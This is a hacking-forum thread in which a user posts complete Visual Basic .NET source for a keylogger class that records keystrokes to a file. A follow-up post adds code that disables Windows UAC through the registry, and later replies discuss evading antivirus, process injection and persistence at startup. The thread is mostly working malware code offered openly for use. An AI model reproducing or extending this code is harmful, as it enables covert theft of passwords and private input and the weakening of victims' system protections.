[SQLi]

A Keylogger class

About
I decided to translate a C++ keylogger to Visual Basic .NET, it turned out okay, but it might not be very stable, it might skip a key here and there while you're typing. I'm too tired right now to look into it any further, but here's the code:

Keylogger.vb

Code:

Imports System.Threading Imports System.IO Public Class Keylogger Private Declare Function GetKey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Int32) As Int16 Private Log As String Public Logging As Boolean = False Public Enum KeyDef VK_ADD = &H6B VK_ATTN = &HF6 VK_BACK = &H8 VK_CANCEL = &H3 VK_CAPITAL = &H14 VK_CLEAR = &HC VK_CONTROL = &H11 VK_CRSEL = &HF7 VK_DECIMAL = &H6E VK_DELETE = &H2E VK_DIVIDE = &H6F VK_DOWN = &H28 VK_END = &H23 VK_EREOF = &HF9 VK_ESCAPE = &H1B VK_EXECUTE = &H2B VK_EXSEL = &HF8 VK_F1 = &H70 VK_F10 = &H79 VK_F11 = &H7A VK_F12 = &H7B VK_F13 = &H7C VK_F15 = &H7E VK_F14 = &H7D VK_F16 = &H7F VK_F17 = &H80 VK_F18 = &H81 VK_F19 = &H82 VK_F2 = &H71 VK_F20 = &H83 VK_F21 = &H84 VK_F22 = &H85 VK_F23 = &H86 VK_F24 = &H87 VK_F3 = &H72 VK_F4 = &H73 VK_F5 = &H74 VK_F6 = &H75 VK_F7 = &H76 VK_F8 = &H77 VK_F9 = &H78 VK_HELP = &H2F VK_HOME = &H24 VK_INSERT = &H2D VK_LBUTTON = &H1 VK_LCONTROL = &HA2 VK_LEFT = &H25 VK_LMENU = &HA4 VK_LSHIFT = &HA0 VK_MBUTTON = &H4 ' NOT contiguous with L RBUTTON VK_MENU = &H12 VK_MULTIPLY = &H6A VK_NEXT = &H22 VK_NONAME = &HFC VK_NUMLOCK = &H90 VK_NUMPAD0 = &H60 VK_NUMPAD1 = &H61 VK_NUMPAD2 = &H62 VK_NUMPAD3 = &H63 VK_NUMPAD4 = &H64 VK_NUMPAD5 = &H65 VK_NUMPAD6 = &H66 VK_NUMPAD7 = &H67 VK_NUMPAD8 = &H68 VK_NUMPAD9 = &H69 VK_OEM_CLEAR = &HFE VK_PA1 = &HFD VK_PAUSE = &H13 VK_PLAY = &HFA VK_PRINT = &H2A VK_PRIOR = &H21 VK_PROCESSKEY = &HE5 VK_RBUTTON = &H2 VK_RCONTROL = &HA3 VK_RETURN = &HD VK_RIGHT = &H27 VK_RMENU = &HA5 VK_RSHIFT = &HA1 VK_SCROLL = &H91 VK_SELECT = &H29 VK_SEPARATOR = &H6C VK_SHIFT = &H10 VK_SNAPSHOT = &H2C VK_SPACE = &H20 VK_TAB = &H9 VK_SUBTRACT = &H6D VK_UP = &H26 VK_ZOOM = &HFB End Enum Private Function RunThread(ByVal Start As System.Threading.ThreadStart) As Thread Dim thread = New System.Threading.Thread(Start) thread.Start() Return thread End Function Public Sub Start() Logging = True RunThread(AddressOf Keylog) End Sub Public Sub Close() Logging = False End Sub Private Sub Keylog() Log = "" Do Until Logging = False For character As Short = 8 To 222 If GetKey(character) = -32767 Then If character > 39 And character < 64 Then Log &= Chr(character) Exit For ElseIf character > 64 And character < 91 Then character += 32 Log &= Chr(character) Exit For Else Select Case character Case KeyDef.VK_SPACE Log &= " " Exit For Case KeyDef.VK_SHIFT Log &= "[SHIFT]" Exit For Case KeyDef.VK_RETURN Log &= Environment.NewLine & "[ENTER]" Exit For Case KeyDef.VK_BACK 'Log &= "[BACKSPACE]" If Log.Length > 0 And Log.Length <> 0 Then Log = Log.Remove(Log.Length - 1) End If Exit For Case KeyDef.VK_TAB Log &= "[TAB]" Exit For Case KeyDef.VK_CONTROL Log &= "[CTRL]" Exit For Case KeyDef.VK_DELETE Log &= "[DEL]" Exit For Case KeyDef.VK_CAPITAL Log &= "[CAPS LOCK]" Exit For Case Else Exit For 'todo: comma, period End Select End If End If Next Loop End Sub Public Sub SaveLog(ByVal File As String) IO.File.WriteAllText(File, Log) End Sub End Class

Usage example

Code:

Dim KeyL As New Keylogger KeyL.Start() If KeyL.Logging Then KeyL.Close() End If KeyL.SaveLog("C:\log.txt")

[i0xIllusi0n]

Not bad at first look. But then there's the challenge of getting passed UAC let alone startup.

[SQLi]

Not bad at first look. But then there's the challenge of getting passed UAC let alone startup.

Well I'm not going to include that in the Keylogger class. Perhaps I'll cook something up later.

Edit:
This should work, credits to laptopguy for the original C# code

Code:

Imports Microsoft.Win32 Public Class UAC Public Shared Sub Disable() Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System").SetValue("EnableLUA", 0) End Sub Public Shared Sub Enable() Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System").SetValue("EnableLUA", 1) End Sub End Class

[i0xIllusi0n]

Well I'm not going to include that in the Keylogger class. Perhaps I'll cook something up later.

Edit:
This should work, credits to laptopguy for the original C# code

Code:

Imports Microsoft.Win32 Public Class UAC Public Shared Sub Disable() Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System").SetValue("EnableLUA", 0) End Sub Public Shared Sub Enable() Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System").SetValue("EnableLUA", 1) End Sub End Class

Which has to be ran as admin to be able to read /write from the registry.

[ErroraBorealis]

I'm not so sure, but I believe there is a way to write to one part of the registry, maybe its local user, without admin, or you can run it under local user or something, and boost it up from there. Might also be possible to inject into some other process, but that's normally picked up pretty fast by AVs especially if it thinks the program is suspicious at first.

[Prestige]

You might want to use a keyhook instead of a thread with getasynckeystate here's an example tutorial for a keyhook in C# could be easily ported: http://www.sinister.ly/Thread-Tutorial-C...yboardhook